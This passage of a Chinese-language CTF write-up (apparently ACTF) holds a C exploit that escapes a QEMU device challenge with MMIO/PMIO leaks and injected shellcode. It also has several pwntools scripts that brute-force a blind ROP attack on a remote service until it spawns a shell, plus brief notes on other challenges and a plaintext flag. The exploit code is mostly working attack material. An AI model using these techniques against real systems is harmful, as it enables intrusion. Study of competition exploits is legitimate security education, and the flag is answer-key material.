for(int i=0;i<64;i++)
{
mmio_mem[i]=flag[i];
}
}
int main(int argc, char *argv[])
{
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
open_mmio();
open_pmio();
mmio_write(0, 0x3348637b46544341);
mmio_write(8, 0x49775f6e315f4b63);
mmio_write(0x10, 0x5f796240425f6837);
mmio_write(0x18, 0x545F723368703143);
mmio_write(0x20, 0x515F6E315F742465);
mmio_write(0x28, 0x79346C705F554D33);
mmio_write(0x30, 0x315F644E754F3367);
mmio_write(0x38, 0x7D21795341455F24);
//bypass_checkflag1("ACTF{cH3cK_1n_wI7h_B@by_C1ph3r_Te$t_1n_Q3MU_pl4yg3OuNd_1$_EASy!}");
pmio_write(1,0);
//g_malloc
pmio_write(0x1f,0);
size_t low_dword = 0;
size_t leak = 0;
int i=0;
for(i=0; i<6;i++)
{
low_dword = pmio_read(0x10+i);
leak += low_dword << 8*i;
}
//high_dword = low_dword + (high_dword << 32);
printf("[+] leak : 0x%llx\n", leak);
//fake system
size_t system = leak + 0x34e50ce0;
printf("[+] system : 0x%llx\n", system);
//0x2fac48
//0x31942ae8 0x82b0
mmio_write_32(0x40, (leak & 0xffffff00) + 0x8340);
size_t stack=0;
for(i=0; i<6;i++)
{
low_dword = pmio_read(0x10+i);
stack += low_dword << 8*i;
}
printf("[+] stack : 0x%llx\n", stack);
mmio_write_32(0x40, (leak & 0xffffff00) + 0x8350);
size_t code_base=0;
for(i=0; i<6;i++)
{
low_dword = pmio_read(0x10+i);
code_base += low_dword << 8*i;
}
code_base -= 0x164b70;
printf("[+] pie : 0x%llx\n", code_base);
mmio_write_32(0x40, (leak & 0xffffff00) + 0x50);
size_t rwx_addr_ptr=0;
for(i=0; i<6;i++)
{
low_dword = pmio_read(0x10+i);
rwx_addr_ptr += low_dword << 8*i;
}
printf("[+] rwx_addr_ptr : 0x%llx\n", rwx_addr_ptr);
mmio_write_32(0x40, (rwx_addr_ptr & 0xffffffff) + 0x50);
size_t rwx_addr=0;
for(i=0; i<6;i++)
{
low_dword = pmio_read(0x10+i);
rwx_addr += low_dword << 8*i;
}
printf("[+] rwx_addr : 0x%llx\n", rwx_addr);
//shellcode +0x2c4bce0
mmio_write_32(0x40, (rwx_addr & 0xffffffff));
//char* shellcode = "\x6a\x67\x48\xb8\x2f\x72\x65\x61\x64\x66\x6c\x61\x50\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05";
char* shellcode = "\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x67\x6d\x60\x66\x01\x01\x01\x48\x31\x04\x24\x6a\x02\x58\x48\x89\xe7\x31\xf6\x0f\x05\x41\xba\xff\xff\xff\x7f\x48\x89\xc6\x6a\x28\x58\x6a\x01\x5f\x99\x0f\x05";
for(i=0; i<=0xf;i++)
{
pmio_write(0x10+i, shellcode[i]);
}
mmio_write_32(0x40, (rwx_addr & 0xffffffff) + 0x10);
for(i=0; i<=0xf;i++)
{
pmio_write(0x10+i, shellcode[i+0x10]);
}
mmio_write_32(0x40, (rwx_addr & 0xffffffff) + 0x20);
for(i=0; i<=0xf;i++)
{
pmio_write(0x10+i, shellcode[i+0x20]);
}
mmio_write_32(0x40, (rwx_addr & 0xffffffff) + 0x30);
for(i=0; i<53-0x30;i++)
{
pmio_write(0x10+i, shellcode[i+0x30]);
}
mmio_write_32(0x40, (stack & 0xffffffff) - 0x4cc);
outl(rwx_addr&0xffffffff,pmio_base+0x10);
printf("[+] hack : 0x%llx -> 0x%llx\n", stack - 0x4cc, rwx_addr);
return 0;
}
blind
拿到题目后发现是一道 brop 题目,不同的是程序开启了 pie,并且是通过编辑器(ad)模式移动光标,通过 ws 修改单字节,修改的数据从 0 ~ 0xff 循环
其中 ad 移动没有限制,可以左右溢出,并且存在着
Aaaaaaa\x00
stack_addr -> Aaaaaaa\x00
这样的栈布局,其中修改 stack_addr ,我们就可以控制函数再次循环执行时候的输出数据
通过这一个漏洞,我们可以发现程序远程开启了 PIE
并且通过尝试,可以发现如下栈布局
call_addr
Aaaaaaa\x00
stack_addr -> Aaaaaaa\x00
xxx
xxx
xxx
xxx
xxx
先通过泄露 call_addr 的值,是一个程序 text 地址,比如获取到是 0x563962abb5400,那么就可以判断出 pro_base 是 0x563962abb5400 - 0x1540 = 0x563962aba000
由于程序的修改是单字节修改,所以我们只能修改 call_addr 的单字节,那么就需要布置 rop 链来爆破需要的信息
把 call_addr 做 stop_gadget ,那么,根据远程靶机的执行结果,可以知道 stop_gadget + xx 处存在一个 ret 指令,这是可以通过单字节爆破得到的。
因为需要布置 rop 链,所以第一次需要爆破出 ret 指令
爆破exp
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p = remote('120.46.65.156', 32104)
#p = process('./Genshin')
elf = ELF('./Genshin')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def w(size):
return str(size).encode() + b'w'
def s(size):
return str(size).encode() + b's'
def a(size):
return str(size).encode() + b'a'
def d(size):
return str(size).encode() + b'd'
def to_(a, b):
if a > b:
return s(a - b)
else:
return w(b - a)
def toto_(a, b):
sc = to_(a & 0xff, b & 0xff)
sc += b'D' + to_((a >> (1 * 8)) & 0xff, (b >> (1 * 8)) & 0xff)
sc += b'D' + to_((a >> (2 * 8)) & 0xff, (b >> (2 * 8)) & 0xff)
sc += b'D' + to_((a >> (3 * 8)) & 0xff, (b >> (3 * 8)) & 0xff)
sc += b'D' + to_((a >> (4 * 8)) & 0xff, (b >> (4 * 8)) & 0xff)
sc += b'D' + to_((a >> (5 * 8)) & 0xff, (b >> (5 * 8)) & 0xff)
sc += b'D' + to_((a >> (6 * 8)) & 0xff, (b >> (6 * 8)) & 0xff)
sc += b'D' + to_((a >> (7 * 8)) & 0xff, (b >> (7 * 8)) & 0xff)
sc += b'7a'
return sc
for i in range(0, 0xff):
p = remote('120.46.65.156', 32104)
rl(b'[A]aaaaaa')
sc = d(8) + s(8)
sla(b'> ', sc)
print('i ->>>>', hex(i))
stop_gadget = u64(rl(b'\x00\x00'))
pro_base = stop_gadget - 0x1540
sc = toto_(0x0061616161616141, stop_gadget)
sla(b'> ', sc)
sc = a(0x8) + w(i)
sla(b'> ', sc)
try:
pr()
pr()
print(i)
pause()
p.close()
except:
p.close()
pass
最后可以发现,当 i = 32 时候,会执行到 stop_gadget ,因此
ret_gadget = stop_gadget + 32
第二次爆破是爆破 csu1_gadget 也就是 pop6_gadget
上面已经爆破出 ret_gadget 了,所以这里我们在距离 Aaaaaa\x00 的地方写入 stop_gadget ,以此爆破 pop6_gadget
爆破脚本
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p = remote('120.46.65.156', 32104)
#p = process('./Genshin')
elf = ELF('./Genshin')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def w(size):
return str(size).encode() + b'w'
def s(size):
return str(size).encode() + b's'
def a(size):
return str(size).encode() + b'a'
def d(size):
return str(size).encode() + b'd'
def to_(a, b):
if a > b:
return s(a - b)
else:
return w(b - a)
def toto_(a, b):
sc = to_(a & 0xff, b & 0xff)
sc += b'D' + to_((a >> (1 * 8)) & 0xff, (b >> (1 * 8)) & 0xff)
sc += b'D' + to_((a >> (2 * 8)) & 0xff, (b >> (2 * 8)) & 0xff)
sc += b'D' + to_((a >> (3 * 8)) & 0xff, (b >> (3 * 8)) & 0xff)
sc += b'D' + to_((a >> (4 * 8)) & 0xff, (b >> (4 * 8)) & 0xff)
sc += b'D' + to_((a >> (5 * 8)) & 0xff, (b >> (5 * 8)) & 0xff)
sc += b'D' + to_((a >> (6 * 8)) & 0xff, (b >> (6 * 8)) & 0xff)
sc += b'D' + to_((a >> (7 * 8)) & 0xff, (b >> (7 * 8)) & 0xff)
sc += b'7a'
return sc
for i in range(0, 0x1000):
while 1:
p = remote('120.46.65.156', 32104)
rl(b'[A]aaaaaa')
try:
sc = d(8) + s(8)
sla(b'> ', sc)
print('i ->>>>', hex(i))
stop_gadget = u64(rl(b'\x00\x00'))
pro_base = stop_gadget - 0x1540
ret_gadget = stop_gadget + 32
sc = d(8) + w(8) + a(0x10)
sla(b'> ', sc)
# get stack
sc = d(0x8) + w(8)
sla(b'> ', sc)
stack = u64(rl(b'\x00\x00'))
AAA = stack - 8
# get 6
sc = a(0x8) + w(0x28) + a(1)
sla(b'> ', sc)
print(hex(i))
six_value = u64(rl(b'\x00\x00'))
# get 7
sc = d(1) + a(0x28) + w(0x8)
sla(b'> ', sc)
print(hex(i))
seven_value = u64(rl(b'\x00\x00'))
break
except:
p.close()
pass
# get 8
eight_value = 0x00
sc = d(0x28) + a(0x8)
sc += toto_(six_value, 0)
sc += d(0x8) + toto_(seven_value, stop_gadget)
sc += d(0x8) + toto_(eight_value, 0)
sla(b'> ', sc)
sc = a(0x40) + toto_(0x0061616161616141, stop_gadget + i)
sla(b'> ', sc)
#sc = d(0x8) + s(0x38)
#sla(b'> ', sc)
sc = a(0x8) + w(32)
sla(b'> ', sc)
lg('ret_gadget', ret_gadget)
lg('stop_gadget', stop_gadget)
lg('seven_value', seven_value)
lg('six_value', six_value)
lg('AAA', AAA)
print(hex(i))
# 7 0x8e 0x92 0x93
#inter()
try:
r1 = p.recv()
r2 = p.recv()
print(r1)
print(r2)
if r2 == b'the monitored command dumped core\n':
pass
print(hex(i))
pause()
p.close()
except:
p.close()
pass
有了 pop6_gadget ,就相当于有了 pop_rdi; ret 这个gadget
然后是第三次爆破,爆破 puts_plt
于是接着爆破
爆破脚本
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p = remote('120.46.65.156', 32104)
#p = process('./Genshin')
elf = ELF('./Genshin')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def w(size):
return str(size).encode() + b'w'
def s(size):
return str(size).encode() + b's'
def a(size):
return str(size).encode() + b'a'
def d(size):
return str(size).encode() + b'd'
def to_(a, b):
if a > b:
return s(a - b)
else:
return w(b - a)
def toto_(a, b):
sc = to_(a & 0xff, b & 0xff)
sc += b'D' + to_((a >> (1 * 8)) & 0xff, (b >> (1 * 8)) & 0xff)
sc += b'D' + to_((a >> (2 * 8)) & 0xff, (b >> (2 * 8)) & 0xff)
sc += b'D' + to_((a >> (3 * 8)) & 0xff, (b >> (3 * 8)) & 0xff)
sc += b'D' + to_((a >> (4 * 8)) & 0xff, (b >> (4 * 8)) & 0xff)
sc += b'D' + to_((a >> (5 * 8)) & 0xff, (b >> (5 * 8)) & 0xff)
sc += b'D' + to_((a >> (6 * 8)) & 0xff, (b >> (6 * 8)) & 0xff)
sc += b'D' + to_((a >> (7 * 8)) & 0xff, (b >> (7 * 8)) & 0xff)
sc += b'7a'
return sc
for i in range(0x800, 0x2000):
while 1:
p = remote('120.46.65.156', 32104)
rl(b'[A]aaaaaa')
try:
sc = d(8) + s(8)
sla(b'> ', sc)
print('i ->>>>', hex(i))
stop_gadget = u64(rl(b'\x00\x00'))
pro_base = stop_gadget - 0x1540
ret_gadget = stop_gadget + 32
csu_gadget = stop_gadget + 0x92
rdi_gadget = csu_gadget + 9
pop5_gadget = csu_gadget + 1
sc = d(8) + w(8) + a(0x10)
sla(b'> ', sc)
# get stack
sc = d(0x8) + w(8)
sla(b'> ', sc)
stack = u64(rl(b'\x00\x00'))
AAA = stack - 8
# get 6
sc = a(0x8) + w(0x28) + a(1)
sla(b'> ', sc)
print(hex(i))
six_value = u64(rl(b'\x00\x00'))
# get 7
sc = d(1) + a(0x28) + w(0x8)
sla(b'> ', sc)
print(hex(i))
seven_value = u64(rl(b'\x00\x00'))
break
except:
p.close()
pass
# get 8
eight_value = 0x00
sc = d(0x28) + a(0x8)
sc += toto_(six_value, rdi_gadget)
sc += d(0x8) + toto_(seven_value, pro_base)
sc += d(0x8) + toto_(eight_value, pro_base + i)
sla(b'> ', sc)
sc = a(0x40) + toto_(0x0061616161616141, pop5_gadget)
sla(b'> ', sc)
#sc = d(0x8) + s(0x38)
#sla(b'> ', sc)
sc = a(0x8) + w(32)
sla(b'> ', sc)
lg('ret_gadget', ret_gadget)
lg('stop_gadget', stop_gadget)
lg('seven_value', seven_value)
lg('six_value', six_value)
lg('AAA', AAA)
print(hex(i))
# 7 0x8e 0x92 0x93
#inter()
try:
r1 = p.recv()
r2 = p.recv()
print(r1)
print(r2)
if r2 == b'the monitored command dumped core\n':
pass
print(hex(i))
pause()
p.close()
except:
p.close()
pass
这里可以得到 puts_plt = pro_base + 0x1060
然后就是 dump 程序
脚本
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64')#, log_level='debug')
#p = remote('120.46.65.156', 32104)
#p = process('./Genshin')
elf = ELF('./Genshin')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def w(size):
return str(size).encode() + b'w'
def s(size):
return str(size).encode() + b's'
def a(size):
return str(size).encode() + b'a'
def d(size):
return str(size).encode() + b'd'
def to_(a, b):
if a > b:
return s(a - b)
else:
return w(b - a)
def toto_(a, b):
sc = to_(a & 0xff, b & 0xff)
sc += b'D' + to_((a >> (1 * 8)) & 0xff, (b >> (1 * 8)) & 0xff)
sc += b'D' + to_((a >> (2 * 8)) & 0xff, (b >> (2 * 8)) & 0xff)
sc += b'D' + to_((a >> (3 * 8)) & 0xff, (b >> (3 * 8)) & 0xff)
sc += b'D' + to_((a >> (4 * 8)) & 0xff, (b >> (4 * 8)) & 0xff)
sc += b'D' + to_((a >> (5 * 8)) & 0xff, (b >> (5 * 8)) & 0xff)
sc += b'D' + to_((a >> (6 * 8)) & 0xff, (b >> (6 * 8)) & 0xff)
sc += b'D' + to_((a >> (7 * 8)) & 0xff, (b >> (7 * 8)) & 0xff)
sc += b'7a'
return sc
#inter()
# 32w 34w 35 36 106 117w -> start 127W 128 131 135 143 172w -> main 177 -> main 181 -> main 184 -> main 187 -> main 191 -> main 193 -> main 198 -> main 205 -> vuln 210 -> vuln
# all + 30
count = 0
pwn = b''
#while count < 0x1000:
for i in range(0x1000):
if count > 0x1000:
break
while 1:
p = remote('120.46.65.156', 32104)
rl(b'[A]aaaaaa')
try:
sc = d(8) + s(8)
sla(b'> ', sc)
stop_gadget = u64(rl(b'\x00\x00'))
pro_base = stop_gadget - 0x1540
ret_gadget = stop_gadget + 32
start = stop_gadget + 147
csu_gadget = stop_gadget + 0x92
rdi_gadget = csu_gadget + 0x9
ret_gadget1 = csu_gadget + 0xa
pop5_gadget = stop_gadget + 0x93
puts_plt = pro_base + 0x1000 + 0x40
main = stop_gadget + 0x95
puts_plt = pro_base + 0x1060
sc = d(8) + w(8) + a(0x10)
sla(b'> ', sc)
# get stack
sc = d(0x8) + w(8)
sla(b'> ', sc)
stack = u64(rl(b'\x00\x00'))
AAA = stack - 8
# get 6
sc = a(0x8) + w(0x28) + a(1)
sla(b'> ', sc)
six_value = u64(rl(b'\x00\x00'))
# get 7
sc = d(1) + a(0x28) + w(0x8)
sla(b'> ', sc)
print(hex(i))
seven_value = u64(rl(b'\x00\x00'))
break
except:
p.close()
pass
# get 8
eight_value = 0x00
# 0x96 0x97
sc = d(0x28) + a(0x8)
sc += toto_(six_value, rdi_gadget)
sc += d(0x8) + toto_(seven_value, pro_base + count)
sc += d(0x8) + toto_(eight_value, puts_plt)
sla(b'> ', sc)
sc = a(0x40) + toto_(0x0061616161616141, pop5_gadget)
sla(b'> ', sc)
#sc = d(0x8) + s(0x38)
#sla(b'> ', sc)
sc = a(0x8) + w(32)
sla(b'> ', sc)
try:
resp1 = rl(b'timeout: the monitored command dumped core\n')[:-43]
resp = b''
if resp1 == b'\n':
resp = b'\x00'
elif resp1[-1:] == b'\n':
resp = resp1[:-1] + b'\x00'
else:
resp = resp1
print('leak -> ', resp, resp1)
pwn += resp
count += len(resp)
print('count -> ', count)
p.close()
except Exception as e:
print(e)
print('count -> ', count)
with open('pwn2', 'wb') as f:
f.write(pwn)
这里为了节约时间,只 dump 前 0x1000 字节,然后可以通过 010 editor 分析,最后得到 got 表地址是 pro_base + 0x4000
然后利用 ret2libc 去调用泄露出来的 got 表地址,就可以知道泄露的地址是什么函数了
最终利用 exp
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p = remote('120.46.65.156', 32104)
#p = process('./Genshin')
def w(size):
return str(size).encode() + b'w'
def s(size):
return str(size).encode() + b's'
def a(size):
return str(size).encode() + b'a'
def d(size):
return str(size).encode() + b'd'
def to_(a, b):
if a > b:
return s(a - b)
else:
return w(b - a)
def toto_(a, b):
sc = to_(a & 0xff, b & 0xff)
sc += b'D' + to_((a >> (1 * 8)) & 0xff, (b >> (1 * 8)) & 0xff)
sc += b'D' + to_((a >> (2 * 8)) & 0xff, (b >> (2 * 8)) & 0xff)
sc += b'D' + to_((a >> (3 * 8)) & 0xff, (b >> (3 * 8)) & 0xff)
sc += b'D' + to_((a >> (4 * 8)) & 0xff, (b >> (4 * 8)) & 0xff)
sc += b'D' + to_((a >> (5 * 8)) & 0xff, (b >> (5 * 8)) & 0xff)
sc += b'D' + to_((a >> (6 * 8)) & 0xff, (b >> (6 * 8)) & 0xff)
sc += b'D' + to_((a >> (7 * 8)) & 0xff, (b >> (7 * 8)) & 0xff)
sc += b'7a'
return sc
#inter()
# 32w 34w 35 36 106 117w -> start 127W 128 131 135 143 172w -> main 177 -> main 181 -> main 184 -> main 187 -> main 191 -> main 193 -> main 198 -> main 205 -> vuln 210 -> vuln
# all + 30
count = 4106
pwn = b''
#while count < 0x1000:
for i in range(1):
if count > 0x1500:
break
while 1:
p = remote('120.46.65.156', 32104)
rl(b'[A]aaaaaa')
try:
sc = d(8) + s(8)
sla(b'> ', sc)
stop_gadget = u64(rl(b'\x00\x00'))
pro_base = stop_gadget - 0x1540
ret_gadget = stop_gadget + 32
start = stop_gadget + 147
csu_gadget = stop_gadget + 0x92
rdi_gadget = csu_gadget + 0x9
ret_gadget1 = csu_gadget + 0xa
pop5_gadget = stop_gadget + 0x93
main = stop_gadget + 0x95
puts_plt = pro_base + 0x1060
sc = d(8) + w(8) + a(0x10)
sla(b'> ', sc)
# get stack
sc = d(0x8) + w(8)
sla(b'> ', sc)
stack = u64(rl(b'\x00\x00'))
AAA = stack - 8
# get 6
sc = a(0x8) + w(0x28) + a(1)
sla(b'> ', sc)
six_value = u64(rl(b'\x00\x00'))
# get 7
sc = d(1) + a(0x28) + w(0x8)
sla(b'> ', sc)
print(hex(i))
seven_value = u64(rl(b'\x00\x00'))
# get 9
sc = a(0x8) + w(0x10)
sla(b'> ', sc)
nine_value = u64(rl(b'\n')[:-1])
break
except:
p.close()
pass
# get 8
eight_value = 0x00
# 0x96 0x97
sc = d(0x30) + a(0x18)
sc += toto_(six_value, rdi_gadget)
sc += d(0x8) + toto_(seven_value, pro_base + 0x4000 + 0x40)
sc += d(0x8) + toto_(eight_value, puts_plt)
sc += d(0x8) + toto_(nine_value, stop_gadget)
sla(b'> ', sc)
sc = a(0x48) + toto_(0x0061616161616141, pop5_gadget)
sla(b'> ', sc)
sc = a(0x8) + w(32)
sla(b'> ', sc)
libc_base = l64() - 0x056cf0 # printf
system = libc_base + 0x048e50
binsh = libc_base + 0x18a156
sa(b'> ', b'\n')
rl(b'Aaaaaaa\x00')
sc = d(0x50) + toto_(0x0061616161616141, pop5_gadget)
sla(b'> ', sc)
# get 6
sc = d(0x8) + w(0x30)
sla(b'> ', sc)
six_value = u64(rl(b'\n')[:-1])
# get 7
sc = a(0x30) + w(0x8)
sla(b'> ', sc)
seven_value = u64(rl(b'\n')[:-1])
# get 9
sc = a(8) + w(0x10)
sla(b'> ', sc)
nine_value = u64(rl(b'\n')[:-1])
sc = d(0x30) + a(0x18)
sc += toto_(six_value, rdi_gadget)
sc += d(0x8) + toto_(seven_value, stack - 0x60)
sc += d(0x8) + toto_(eight_value, system)
sc += d(0x8) + toto_(nine_value, 0x00000000003b6873) # sh;
sla(b'> ', sc)
#sc = a(0x48) + toto_(0x0061616161616141, pop5_gadget)
#sla(b'> ', sc)
sc = a(0x50) + w(32)
#sc = a(0x8) + w(32)
sla(b'> ', sc)
lg('rdi_gadget', rdi_gadget)
lg('puts_plt', puts_plt)
lg('libc_base', libc_base)
lg('pop5_gadget', pop5_gadget)
lg('stop_gadget', stop_gadget)
lg('six_value', six_value)
lg('seven_value', seven_value)
lg('nine_value', nine_value)
inter()
Misc
签退题
问卷答完就给flag了
CTFer simulator
打开一看是个游戏,下面还有项目链接。在 F12 的控制台下面能找到源代码,搞一份到本地然后跑起来。然后把规则里的精力下降全部改成精力上升,手动做一遍拿到 8 个 flag 后把请求的包抓出来,然后换一下 host 用 bp 发过去就行了:
SIGNIN
签到题
Re
qemu playground - 1
没写脚本,主要是看代码猜出来是异或了,然后手动 cyberchef 拼了一下:
不过光看也不够,动调到 if 的地方然后抓内存再手动异或就好:
ACTF{cH3cK_1n_wI7h_B@by_C1ph3r_Te$t_1n_Q3MU_pl4yg3OuNd_1$_EASy!}